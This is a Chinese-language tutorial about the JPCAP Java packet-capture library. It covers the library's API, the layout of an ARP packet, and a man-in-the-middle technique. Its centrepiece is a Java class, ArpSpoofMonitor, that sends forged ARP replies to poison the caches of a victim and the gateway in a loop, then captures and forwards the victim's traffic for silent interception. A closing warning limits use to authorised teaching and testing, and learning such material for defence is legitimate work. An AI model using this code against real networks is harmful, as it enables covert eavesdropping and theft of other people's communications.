首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> Java 程式設計 >> Java 相關知識

JPCAP 實戰:Java 資料鏈路層封包擷取與 ARP 欺騙網路監聽實作

     編輯:Java 相關知識

前言:為何需要 JPCAP

Java 標準庫僅支援傳輸層 (TCP/UDP) 以上協定,無法直接操作網路層、資料鏈路層封包。JPCAP 透過 JNI 呼叫 libpcap/WinPcap,提供跨平台的鏈路層封包擷取、發送與解析能力,支援 FreeBSD、Linux、Solaris、Windows 2000/XP 等系統。

核心類別架構

1. NetworkInterface — 網路介面描述

每個實例代表一張網卡,主要欄位:

  • addresses[]:綁定的網路位址陣列 (通常取 [0])
  • datalink_description:乙太網、無線網、Token Ring 等
  • datalink_name:10M/100M/1000M 等
  • description:廠牌型號描述
  • mac_address[6]:MAC 位址
  • name:系統裝置名稱 (如 \Device\NPF_{GUID})
  • loopback:是否為回送介面

2. JpcapCaptor — 封包擷取核心

關鍵方法說明
getDeviceList()靜態方法,取得所有網路介面陣列
openDevice(iface, snaplen, promisc, to_ms)建立連線:snaplen=每封包擷取位元組數、promisc=混雜模式、to_ms=processPacket 超時
getPacket()阻塞擷取單一封包
loopPacket(count, handler)擷取指定數量封包交由 handler 處理,count=-1 無限循環,不受超時影響
processPacket(count, handler)同 loopPacket 但受 to_ms 超時影響
dispatchPacket(count, handler)非阻塞模式,可能立即返回 0 封包
setFilter("ip", true)BPF 過濾語法,optimize=true 啟用優化
getJpcapSenderInstance()取得發送器,需自行填寫鏈路層標頭

3. JpcapSender — 封包發送

  • openRawSocket():自動填寫鏈路層標頭 (乙太網)
  • sendPacket(Packet):發送封包。若由 getJpcapSenderInstance() 取得,需手動設定乙太網標頭;若由 openRawSocket() 取得則自動產生。

4. Packet 階層 — 封包解析

Packet (抽象父類)
├─ ARPPacket
├─ DatalinkPacket
├─ EthernetPacket
├─ ICMPPacket
├─ IPPacket
│  ├─ TCPPacket
│  └─ UDPPacket

ARP 封包結構 (乙太網/IPv4)

位移欄位長度說明
0目標 MAC6乙太網標頭
6來源 MAC6
12類型20x0806 = ARP
14硬體類型20x0001 = 乙太網
16協定類型20x0800 = IPv4
18硬體位址長16 (MAC)
19協定位址長14 (IPv4)
20操作碼21=Request, 2=Reply
22發送者 MAC6
28發送者 IP4
32目標 MAC6
38目標 IP4

ARP 欺騙監聽原理

交換式網路下,單純混雜模式無法監聽他人流量。利用 ARP 回應偽造:

  1. 欺騙目標 B:發送 ARP Reply,來源 IP=閘道 IP、來源 MAC=攻擊者 A MAC → B 更新 ARP 快取,將閘道 MAC 導向 A。
  2. 欺騙閘道:發送 ARP Reply,來源 IP=B IP、來源 MAC=A MAC → 閘道更新 ARP 快取,將 B MAC 導向 A。
  3. 雙向轉發:A 收到 B→閘道封包,改目的 MAC 為閘道 MAC 轉發;收到閘道→B 封包,改目的 MAC 為 B MAC 轉發。B 感知不到中斷,實現透明監聽。

完整監聽實作範例 (核心邏輯)

public class ArpSpoofMonitor {
    private JpcapCaptor captor;
    private JpcapSender sender;
    private byte[] targetMac, gatewayMac;
    private InetAddress targetIp, gatewayIp;
    private byte[] myMac;

    public void init() throws IOException {
        NetworkInterface[] devs = JpcapCaptor.getDeviceList();
        // 選擇實體網卡 (排除虛擬介面)
        NetworkInterface dev = selectRealInterface(devs);
        myMac = dev.mac_address;
        captor = JpcapCaptor.openDevice(dev, 65535, true, 1000); // 混雜模式
        captor.setFilter("ip", true); // 只擷取 IP 封包
        sender = captor.getJpcapSenderInstance(); // 需手填乙太網頭
    }

    // 建立 ARP Reply 封包 (目標: 受害者)
    private ARPPacket buildArpReply(byte[] senderMac, InetAddress senderIp,
                                    byte[] targetMac, InetAddress targetIp) {
        ARPPacket arp = new ARPPacket();
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;
        arp.prototype = ARPPacket.PROTOTYPE_IP;
        arp.operation = ARPPacket.ARP_REPLY;
        arp.hlen = 6; arp.plen = 4;
        arp.sender_hardaddr = senderMac;
        arp.sender_protoaddr = senderIp.getAddress();
        arp.target_hardaddr = targetMac;
        arp.target_protoaddr = targetIp.getAddress();

        EthernetPacket eth = new EthernetPacket();
        eth.frametype = EthernetPacket.ETHERTYPE_ARP;
        eth.src_mac = senderMac;
        eth.dst_mac = targetMac;
        arp.datalink = eth;
        return arp;
    }

    // 定時發送 ARP 欺騙封包
    private void startArpSpoof() {
        new Thread(() -> {
            ARPPacket toTarget = buildArpReply(myMac, gatewayIp, targetMac, targetIp);
            ARPPacket toGateway = buildArpReply(myMac, targetIp, gatewayMac, gatewayIp);
            while (true) {
                sender.sendPacket(toTarget);
                sender.sendPacket(toGateway);
                try { Thread.sleep(500); } catch (InterruptedException ignored) {}
            }
        }).start();
    }

    // 擷取並轉發封包
    private void forwardPackets() {
        while (true) {
            Packet p = captor.getPacket();
            if (p instanceof IPPacket) {
                IPPacket ip = (IPPacket) p;
                if (ip.src_ip.equals(targetIp)) {
                    // 來自目標 → 轉發給閘道
                    modifyAndSend(p, gatewayMac);
                } else if (ip.dst_ip.equals(targetIp)) {
                    // 來自閘道 → 轉發給目標
                    modifyAndSend(p, targetMac);
                }
            }
        }
    }

    private void modifyAndSend(Packet p, byte[] newDstMac) {
        if (p.datalink instanceof EthernetPacket) {
            EthernetPacket eth = (EthernetPacket) p.datalink;
            System.arraycopy(myMac, 0, eth.src_mac, 0, 6);
            System.arraycopy(newDstMac, 0, eth.dst_mac, 0, 6);
            sender.sendPacket(p);
        }
    }
}

關鍵技術細節與避坑指南

  • 裝置選擇:getDeviceList() 可能回傳虛擬介面 (如 Generic Dialup Adapter),需依 addresses.length > 0 或 !loopback 過濾。
  • snaplen:設 65535 擷取完整封包,非封包數量限制。
  • 混雜模式 + BPF 過濾:若 promisc=true 且 setFilter() 同時使用,BPF 在驅動層過濾,效能最佳。
  • 發送器選擇:getJpcapSenderInstance() 需手動填乙太網頭;openRawSocket() 自動填寫但需 Root/Admin 權限。
  • 執行緒安全:JPCAP 非執行緒安全,單執行緒擷取/發送,或自行同步。
  • 權限:Windows 需安裝 WinPcap/Npcap 並以管理員執行;Linux 需 CAP_NET_RAW 或 root。

法律與道德警示

ARP 欺騙屬於中間人攻擊技術,僅限授權網路環境教學、測試、除錯使用。未經授權攔截他人網路流量違反資安法規與道德規範,嚴禁濫用。

現代替代方案

  • Pcap4J:現代化、活躍維護的 Java libpcap 封裝,API 更符合 Java 慣用語,支援 NIO、Lambda、模組化。
  • Netty + NIO:應用層高效網路程式設計,無需鏈路層操作時優先選擇。

JPCAP 雖屬經典套件,但其核心概念——鏈路層封包擷取、BPF 過濾、ARP 協定操作——仍是網路安全、效能分析、協定開發的基石知識。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved